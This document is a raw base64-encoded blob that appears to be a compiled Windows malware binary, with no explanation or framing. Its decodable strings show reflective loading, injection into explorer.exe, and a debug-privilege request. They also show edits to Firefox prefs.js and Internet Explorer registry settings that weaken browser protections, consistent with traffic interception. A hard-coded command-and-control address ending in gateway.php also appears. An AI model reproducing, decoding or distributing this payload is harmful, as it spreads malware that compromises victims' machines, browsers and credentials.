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AAABAQUBAQEBAQEBAQEBAQEBBQEBAQEBAQEFAQUFBQAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECAkGgAAAAAaAAAAABqAGoAuAAAAAD/0MIEAJCQkAAAAABIg+woM8kx0km4AAAAAAAAAABJuQAAAAAAAAAASLgAAAAAAAAAAP/QSIPEKMOQkJBJc1dvdzY0UHJvY2VzcwAAUmVmbGVjdGl2ZUxvYWRlcgAAAABBuAAASIPsIAAAAABIuQAASLoAAEm5AABIuAAAa2VybmVsMzIuZGxsAAAAAEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8AAAAAAAAAAAAAAAAAAAAAdXNlcl9wcmVmKCJuZXR3b3JrLmh0dHAuc3BkeS5lbmFibGVkLnYzLTEiLCBmYWxzZSk7DQp1c2VyX3ByZWYoIm5ldHdvcmsuaHR0cC5zcGR5LmVuYWJsZWQudjMiLCBmYWxzZSk7DQp1c2VyX3ByZWYoIm5ldHdvcmsuaHR0cC5zcGR5LmVuYWJsZWQiLCBmYWxzZSk7DQp1c2VyX3ByZWYoImJyb3dzZXIudGFicy5yZW1vdGUuYXV0b3N0YXJ0IiwgZmFsc2UpOw0KdXNlcl9wcmVmKCJicm93c2VyLnRhYnMucmVtb3RlLmF1dG9zdGFydC4yIiwgZmFsc2UpOw0KdXNlcl9wcmVmKCJnZnguZGlyZWN0MmQuZGlzYWJsZWQiLCB0cnVlKTsNCnVzZXJfcHJlZigibGF5ZXJzLmFjY2VsZXJhdGlvbi5kaXNhYmxlZCIsIHRydWUpOwAAACVhcHBkYXRhJQAAAAAAAAAlc1wlc1wlc1wlcy5pbmkATW96aWxsYQBGaXJlZm94AFByb2ZpbGVzAAAAAAAAAABQcm9maWxlAFBhdGgAAAAAJXNcJXNcJXNcJXNcJXNcJXMuanMAAAAAcHJlZnMAAAANCgAAAAAAAFNvZnR3YXJlXE1pY3Jvc29mdFxJbnRlcm5ldCBFeHBsb3JlclxNYWluAAAAAAAAAE5vUHJvdGVjdGVkTW9kZUJhbm5lcgAAAFRhYlByb2NHcm93dGgAAABTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xab25lc1wzADI1MDAAAAAAAAAAAHNvbWVMZXR0ZXJzSGVyZTEAAAAAAAAAAGh0dHA6Ly8yMTIuMTA5LjE5Ni42Ny9nYXRld2F5LnBocAAAAAEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABBwIABwE1ACEhBAAhdDQACDQ2AAAQAAA+EAAAODcCACEAAAAAEAAAPhAAADg3AgABCQMACQFKAAIwAAABBAEABEIAAAEOAgAOMgowIQUCAAV0BgAwKAAAQSgAAHw3AgAhAAAAMCgAAEEoAAB8NwIAARQGABRkBwAUNAYAFDIQcCESBAASdAcABWQGAEAUAAB1FAAAyDkCACEABAAAdAcAAGQGAEAUAAB1FAAAyDkCACEAAABAFAAAdRQAAMg5AgABGggAGogDAA9oBQAKNA4ACrIGcCEXBAAXmAIABXgEAKAYAAAWGQAA+DcCACEAAACgGAAAFhkAAPg3AgABDwYAD1QJAA80CAAPMgtwIQ0EAA3kBwAFZAYA8CAAAHchAAA0OAIAIQAEAADkBwAAZAYA8CAAAHchAAA0OAIAARwMABxkDwAcVA4AHDQNABxSGPAW4BTQEsAQcAEcDAAcZBMAHFQSABw0EQAckhjwFuAU0BLAEHABDwYAD2QIAA80BwAPMgtwARkKABl0EwAZZBIAGVQRABk0EAAZ0hXgARIBABIiAAABCgQAClIG0ATAAjAhHgoAHvQEABnkBQAUdAwACmQLAAVUCgDQLwAAEDAAANw4AgAhAAoAAPQEAADkBQAAdAwAAGQLAABUCgDQLwAAEDAAANw4AgAhAAAA0C8AABAwAADcOAIACSEJACEBGgAa8BjgFtAUwBJwEWAQMAAAeDgAAAEAAACjMQAAFDQAAAEAAAAUNAAAAQoCAAoyBjABCgQACmQMAApyBnAhBQIABTQLAIA1AAC/NQAAeDkCACEAAgAANAsAgDUAAL81AAB4OQIAARIHABJkLQASNCwAEgEqAAtwAAABBAEABGIAAAEGAgAGMgIwAQoEAAo0BgAKMgZwAQoEAAp0AgAFNAEAeDsCAAAAAAAAAAAA0jsCABhBAACYOwIAAAAAAAAAAAAcPAIAOEEAAJg6AgAAAAAAAAAAAPo9AgA4QAAAiDsCAAAAAAAAAAAAFD4CAChBAABgOgIAAAAAAAAAAACUPgIAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgj4CAAAAAAA0PgIAA